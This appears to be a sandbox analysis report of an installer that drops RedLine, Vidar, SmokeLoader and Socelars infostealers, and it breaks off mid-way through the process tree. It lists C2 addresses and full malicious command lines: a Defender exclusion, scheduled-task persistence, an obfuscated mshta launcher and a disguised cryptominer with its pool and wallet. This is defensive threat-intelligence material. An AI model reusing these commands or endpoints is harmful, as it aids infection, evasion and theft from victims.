Resubmissions

12-09-2021 18:05

210912-wpjm6afecr 10

12-09-2021 07:11

210912-h1abzacbb7 10

Analysis

  • max time kernel
    1813s
  • max time network
    1813s
  • platform
    windows10_x64
  • resource
    win10-de
  • submitted
    12-09-2021 07:11

General

  • Target

    setup_x86_x64_install.exe

  • Size

    3.5MB

  • MD5

    1b5154bc65145adba0a58e964265d5f2

  • SHA1

    5a96fd55be61222b3e6438712979dc2a18a50b8c

  • SHA256

    c48cd55efee57f0b7ff4547a0a20ebfbdf4188d059512b10a29879bf30c4fc19

  • SHA512

    9465da97b0986fef660e3f7725b4d4c034bef677acbe36382d95a8052c54634f004162aa3f105156e503af1b26632e47e44234ef9825b388260a6bcd310a5026

Malware Config

Extracted

Family

redline

Botnet

pab123

C2

45.14.49.169:22411

Extracted

Family

vidar

Version

40.5

Botnet

706

C2

https://gheorghip.tumblr.com/

Attributes
  • profile_id

    706

Extracted

Family

smokeloader

Version

2020

C2

http://varmisende.com/upload/

http://fernandomayol.com/upload/

http://nextlytm.com/upload/

http://people4jan.com/upload/

http://asfaltwerk.com/upload/

rc4.i32
rc4.i32

Signatures

  • Modifies system executable filetype association 2 TTPs 3 IoCs
  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • Registers COM server for autorun 1 TTPs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • rl_trojan 1 IoCs

    redline stealer.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 2 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Blocklisted process makes network request 51 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 64 IoCs
  • Checks BIOS information in registry 2 TTPs 10 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 52 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 4 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 58 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 32 IoCs
  • Drops file in Windows directory 55 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 16 IoCs
  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 14 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 2 IoCs
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Kills process with taskkill 6 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 7 IoCs
  • Script User-Agent 3 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 18 IoCs
  • Suspicious behavior: SetClipboardViewer 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 30 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
    1⤵
      PID:2344
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
      1⤵
        PID:2616
        • C:\Windows\system32\wbem\WMIADAP.EXE
          wmiadap.exe /F /T /R
          2⤵
            PID:8004
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          1⤵
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:3064
          • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
            "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4876
            • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
              "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:4920
              • C:\Users\Admin\AppData\Local\Temp\7zS833A2A44\setup_install.exe
                "C:\Users\Admin\AppData\Local\Temp\7zS833A2A44\setup_install.exe"
                4⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:5016
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                  5⤵
                    PID:1916
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                      6⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4468
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c Sun05ac1b0207d3ff3b8.exe
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4164
                    • C:\Users\Admin\AppData\Local\Temp\7zS833A2A44\Sun05ac1b0207d3ff3b8.exe
                      Sun05ac1b0207d3ff3b8.exe
                      6⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Checks processor information in registry
                      • Modifies system certificate store
                      PID:4420
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c taskkill /im Sun05ac1b0207d3ff3b8.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS833A2A44\Sun05ac1b0207d3ff3b8.exe" & del C:\ProgramData\*.dll & exit
                        7⤵
                          PID:6104
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill /im Sun05ac1b0207d3ff3b8.exe /f
                            8⤵
                            • Kills process with taskkill
                            PID:4224
                          • C:\Windows\SysWOW64\timeout.exe
                            timeout /t 6
                            8⤵
                            • Delays execution with timeout.exe
                            PID:6696
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c Sun05640630a6aa.exe
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3348
                      • C:\Users\Admin\AppData\Local\Temp\7zS833A2A44\Sun05640630a6aa.exe
                        Sun05640630a6aa.exe
                        6⤵
                        • Executes dropped EXE
                        PID:3560
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c Sun05532f7abc.exe
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3752
                      • C:\Users\Admin\AppData\Local\Temp\7zS833A2A44\Sun05532f7abc.exe
                        Sun05532f7abc.exe
                        6⤵
                        • Executes dropped EXE
                        • Checks SCSI registry key(s)
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious behavior: MapViewOfSection
                        PID:2216
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c Sun052bbd8bebd9.exe
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4176
                      • C:\Users\Admin\AppData\Local\Temp\7zS833A2A44\Sun052bbd8bebd9.exe
                        Sun052bbd8bebd9.exe
                        6⤵
                        • Executes dropped EXE
                        PID:1848
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c Sun05d60bc3b96248e5.exe
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3688
                      • C:\Users\Admin\AppData\Local\Temp\7zS833A2A44\Sun05d60bc3b96248e5.exe
                        Sun05d60bc3b96248e5.exe
                        6⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:740
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd.exe /c taskkill /f /im chrome.exe
                          7⤵
                            PID:5432
                            • C:\Windows\SysWOW64\taskkill.exe
                              taskkill /f /im chrome.exe
                              8⤵
                              • Kills process with taskkill
                              PID:5684
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c Sun050462125c7d35.exe
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4224
                        • C:\Users\Admin\AppData\Local\Temp\7zS833A2A44\Sun050462125c7d35.exe
                          Sun050462125c7d35.exe
                          6⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4236
                          • C:\ProgramData\4402665.exe
                            "C:\ProgramData\4402665.exe"
                            7⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:5084
                          • C:\ProgramData\1860007.exe
                            "C:\ProgramData\1860007.exe"
                            7⤵
                            • Executes dropped EXE
                            • Adds Run key to start application
                            PID:684
                            • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                              "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                              8⤵
                              • Executes dropped EXE
                              PID:4444
                          • C:\ProgramData\133519.exe
                            "C:\ProgramData\133519.exe"
                            7⤵
                            • Executes dropped EXE
                            • Checks BIOS information in registry
                            • Checks whether UAC is enabled
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            PID:1456
                          • C:\ProgramData\3733924.exe
                            "C:\ProgramData\3733924.exe"
                            7⤵
                            • Executes dropped EXE
                            PID:1036
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c Sun059375dac544fc4a.exe
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3280
                        • C:\Users\Admin\AppData\Local\Temp\7zS833A2A44\Sun059375dac544fc4a.exe
                          Sun059375dac544fc4a.exe
                          6⤵
                            PID:1788
                            • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                              "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                              7⤵
                              • Executes dropped EXE
                              PID:4804
                              • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
                                "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
                                8⤵
                                • Executes dropped EXE
                                PID:5088
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                                  9⤵
                                    PID:6128
                                    • C:\Windows\system32\schtasks.exe
                                      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                      10⤵
                                      • Creates scheduled task(s)
                                      PID:2592
                                  • C:\Users\Admin\AppData\Roaming\services64.exe
                                    "C:\Users\Admin\AppData\Roaming\services64.exe"
                                    9⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetThreadContext
                                    PID:3688
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                                      10⤵
                                        PID:6804
                                        • C:\Windows\system32\schtasks.exe
                                          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                          11⤵
                                          • Creates scheduled task(s)
                                          PID:3348
                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                                        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                                        10⤵
                                        • Executes dropped EXE
                                        PID:7524
                                      • C:\Windows\explorer.exe
                                        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
                                        10⤵
                                          PID:8128
                                    • C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
                                      "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
                                      8⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1352
                                      • C:\ProgramData\2967757.exe
                                        "C:\ProgramData\2967757.exe"
                                        9⤵
                                        • Executes dropped EXE
                                        • Suspicious behavior: SetClipboardViewer
                                        PID:3728
                                      • C:\ProgramData\3307456.exe
                                        "C:\ProgramData\3307456.exe"
                                        9⤵
                                        • Executes dropped EXE
                                        PID:3436
                                      • C:\ProgramData\6937945.exe
                                        "C:\ProgramData\6937945.exe"
                                        9⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetThreadContext
                                        PID:5208
                                        • C:\ProgramData\6937945.exe
                                          "C:\ProgramData\6937945.exe"
                                          10⤵
                                          • Executes dropped EXE
                                          PID:5792
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5208 -s 948
                                          10⤵
                                          • Program crash
                                          PID:5980
                                      • C:\ProgramData\1949358.exe
                                        "C:\ProgramData\1949358.exe"
                                        9⤵
                                        • Executes dropped EXE
                                        PID:5572
                                        • C:\Windows\SysWOW64\mshta.exe
                                          "C:\Windows\System32\mshta.exe" vBSCrIPt: close ( crEateobJeCt ("wsCRIpT.sHEll" ). RUN ( "C:\Windows\system32\cmd.exe /q /C cOPy /Y ""C:\ProgramData\1949358.exe"" C3KHKEn~m73GVLA.exE && StArT C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9 & If """"== """" for %l In ( ""C:\ProgramData\1949358.exe"") do taskkill -Im ""%~nxl"" /F " , 0 , TRuE) )
                                          10⤵
                                            PID:5780
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\system32\cmd.exe" /q /C cOPy /Y "C:\ProgramData\1949358.exe" C3KHKEn~m73GVLA.exE && StArT C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9 & If ""== "" for %l In ( "C:\ProgramData\1949358.exe") do taskkill -Im "%~nxl" /F
                                              11⤵
                                                PID:6088
                                                • C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE
                                                  C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9
                                                  12⤵
                                                    PID:4728
                                                    • C:\Windows\SysWOW64\mshta.exe
                                                      "C:\Windows\System32\mshta.exe" vBSCrIPt: close ( crEateobJeCt ("wsCRIpT.sHEll" ). RUN ( "C:\Windows\system32\cmd.exe /q /C cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE"" C3KHKEn~m73GVLA.exE && StArT C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9 & If ""-P48RT5mWbqdvVNE0ZvDVppXXBhLw9 ""== """" for %l In ( ""C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE"") do taskkill -Im ""%~nxl"" /F " , 0 , TRuE) )
                                                      13⤵
                                                        PID:5492
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          "C:\Windows\system32\cmd.exe" /q /C cOPy /Y "C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE" C3KHKEn~m73GVLA.exE && StArT C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9 & If "-P48RT5mWbqdvVNE0ZvDVppXXBhLw9 "== "" for %l In ( "C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE") do taskkill -Im "%~nxl" /F
                                                          14⤵
                                                            PID:5512
                                                            • C:\Windows\System32\Conhost.exe
                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              15⤵
                                                              • Loads dropped DLL
                                                              PID:4700
                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                          "C:\Windows\System32\rundll32.exe" .\zyYHQ.U,xGNjygcjY
                                                          13⤵
                                                          • Loads dropped DLL
                                                          PID:5228
                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                        taskkill -Im "1949358.exe" /F
                                                        12⤵
                                                        • Kills process with taskkill
                                                        PID:5360
                                                • C:\ProgramData\2880988.exe
                                                  "C:\ProgramData\2880988.exe"
                                                  9⤵
                                                  • Executes dropped EXE
                                                  PID:5648
                                              • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                8⤵
                                                • Executes dropped EXE
                                                PID:1868
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1868 -s 808
                                                  9⤵
                                                  • Program crash
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:4512
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1868 -s 836
                                                  9⤵
                                                  • Program crash
                                                  PID:2128
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1868 -s 888
                                                  9⤵
                                                  • Executes dropped EXE
                                                  • Program crash
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:1788
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1868 -s 960
                                                  9⤵
                                                  • Program crash
                                                  PID:5356
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1868 -s 936
                                                  9⤵
                                                  • Program crash
                                                  PID:5720
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1868 -s 964
                                                  9⤵
                                                  • Program crash
                                                  PID:6040
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1868 -s 1028
                                                  9⤵
                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                  • Program crash
                                                  PID:2748
                                              • C:\Users\Admin\AppData\Local\Temp\udptest.exe
                                                "C:\Users\Admin\AppData\Local\Temp\udptest.exe"
                                                8⤵
                                                • Executes dropped EXE
                                                PID:2108
                                              • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                                "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                                8⤵
                                                  PID:4488
                                                  • C:\Users\Admin\AppData\Local\Temp\is-1I5FE.tmp\setup_2.tmp
                                                    "C:\Users\Admin\AppData\Local\Temp\is-1I5FE.tmp\setup_2.tmp" /SL5="$10206,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                                    9⤵
                                                    • Executes dropped EXE
                                                    • Loads dropped DLL
                                                    PID:2896
                                                • C:\Users\Admin\AppData\Local\Temp\3002.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\3002.exe"
                                                  8⤵
                                                  • Executes dropped EXE
                                                  PID:5000
                                                  • C:\Users\Admin\AppData\Local\Temp\3002.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
                                                    9⤵
                                                    • Executes dropped EXE
                                                    PID:4536
                                                • C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
                                                  8⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:4436
                                                • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
                                                  8⤵
                                                  • Executes dropped EXE
                                                  PID:4292
                                                • C:\Users\Admin\AppData\Local\Temp\2.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\2.exe"
                                                  8⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:3548
                                                  • C:\Windows\system32\WerFault.exe
                                                    C:\Windows\system32\WerFault.exe -u -p 3548 -s 1996
                                                    9⤵
                                                    • Program crash
                                                    PID:2384
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c Sun05fa3b4d2ae56e.exe /mixone
                                            5⤵
                                            • Suspicious use of WriteProcessMemory
                                            PID:3980
                                            • C:\Users\Admin\AppData\Local\Temp\7zS833A2A44\Sun05fa3b4d2ae56e.exe
                                              Sun05fa3b4d2ae56e.exe /mixone
                                              6⤵
                                              • Executes dropped EXE
                                              PID:4452
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 656
                                                7⤵
                                                • Program crash
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:4888
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 672
                                                7⤵
                                                • Program crash
                                                PID:3048
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 684
                                                7⤵
                                                • Program crash
                                                PID:4728
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 664
                                                7⤵
                                                • Program crash
                                                PID:5484
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 888
                                                7⤵
                                                • Program crash
                                                PID:5300
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 952
                                                7⤵
                                                • Program crash
                                                PID:5036
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 1100
                                                7⤵
                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                • Program crash
                                                PID:2972
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c Sun054fe19a12cb3.exe
                                            5⤵
                                            • Suspicious use of WriteProcessMemory
                                            PID:4112
                                            • C:\Users\Admin\AppData\Local\Temp\7zS833A2A44\Sun054fe19a12cb3.exe
                                              Sun054fe19a12cb3.exe
                                              6⤵
                                              • Executes dropped EXE
                                              PID:4404
                                              • C:\Users\Admin\AppData\Local\Temp\is-9FHVS.tmp\Sun054fe19a12cb3.tmp
                                                "C:\Users\Admin\AppData\Local\Temp\is-9FHVS.tmp\Sun054fe19a12cb3.tmp" /SL5="$7002E,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS833A2A44\Sun054fe19a12cb3.exe"
                                                7⤵
                                                • Executes dropped EXE
                                                PID:3872
                                                • C:\Users\Admin\AppData\Local\Temp\is-OE13U.tmp\46807GHF____.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\is-OE13U.tmp\46807GHF____.exe" /S /UID=burnerch2
                                                  8⤵
                                                  • Drops file in Drivers directory
                                                  • Executes dropped EXE
                                                  • Adds Run key to start application
                                                  • Drops file in Program Files directory
                                                  PID:972
                                                  • C:\Program Files\Windows Photo Viewer\JTSSYWMJLN\ultramediaburner.exe
                                                    "C:\Program Files\Windows Photo Viewer\JTSSYWMJLN\ultramediaburner.exe" /VERYSILENT
                                                    9⤵
                                                    • Executes dropped EXE
                                                    PID:3684
                                                    • C:\Users\Admin\AppData\Local\Temp\is-V13IT.tmp\ultramediaburner.tmp
                                                      "C:\Users\Admin\AppData\Local\Temp\is-V13IT.tmp\ultramediaburner.tmp" /SL5="$B01E6,281924,62464,C:\Program Files\Windows Photo Viewer\JTSSYWMJLN\ultramediaburner.exe" /VERYSILENT
                                                      10⤵
                                                      • Executes dropped EXE
                                                      • Drops file in Program Files directory
                                                      • Suspicious use of FindShellTrayWindow
                                                      PID:5476
                                                      • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                                        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                                        11⤵
                                                        • Executes dropped EXE
                                                        PID:5268
                                                  • C:\Users\Admin\AppData\Local\Temp\b2-7d3dd-64a-999be-2f3cd1a32c459\Rulidakupy.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\b2-7d3dd-64a-999be-2f3cd1a32c459\Rulidakupy.exe"
                                                    9⤵
                                                    • Executes dropped EXE
                                                    • Checks computer location settings
                                                    PID:5936
                                                  • C:\Users\Admin\AppData\Local\Temp\6e-391bd-dc4-01581-805d012e0e5b0\Fokifyfulo.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\6e-391bd-dc4-01581-805d012e0e5b0\Fokifyfulo.exe"
                                                    9⤵
                                                    • Executes dropped EXE
                                                    PID:4440
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wwmwizce.dfo\GcleanerEU.exe /eufive & exit
                                                      10⤵
                                                        PID:5948
                                                        • C:\Users\Admin\AppData\Local\Temp\wwmwizce.dfo\GcleanerEU.exe
                                                          C:\Users\Admin\AppData\Local\Temp\wwmwizce.dfo\GcleanerEU.exe /eufive
                                                          11⤵
                                                          • Executes dropped EXE
                                                          PID:6220
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ry044sms.54o\installer.exe /qn CAMPAIGN="654" & exit
                                                        10⤵
                                                          PID:6256
                                                          • C:\Users\Admin\AppData\Local\Temp\ry044sms.54o\installer.exe
                                                            C:\Users\Admin\AppData\Local\Temp\ry044sms.54o\installer.exe /qn CAMPAIGN="654"
                                                            11⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            • Enumerates connected drives
                                                            • Modifies system certificate store
                                                            • Suspicious use of FindShellTrayWindow
                                                            PID:6444
                                                            • C:\Windows\SysWOW64\msiexec.exe
                                                              "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\ry044sms.54o\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ry044sms.54o\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1631171482 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
                                                              12⤵
                                                                PID:6580
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zv0i5cyr.o5a\anyname.exe & exit
                                                            10⤵
                                                              PID:6520
                                                              • C:\Users\Admin\AppData\Local\Temp\zv0i5cyr.o5a\anyname.exe
                                                                C:\Users\Admin\AppData\Local\Temp\zv0i5cyr.o5a\anyname.exe
                                                                11⤵
                                                                • Executes dropped EXE
                                                                PID:6780
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lzfvjj5x.xlv\BsInstFile.exe & exit
                                                              10⤵
                                                                PID:6728
                                                                • C:\Users\Admin\AppData\Local\Temp\lzfvjj5x.xlv\BsInstFile.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\lzfvjj5x.xlv\BsInstFile.exe
                                                                  11⤵
                                                                  • Executes dropped EXE
                                                                  PID:6852
                                                                  • C:\ProgramData\7310104.exe
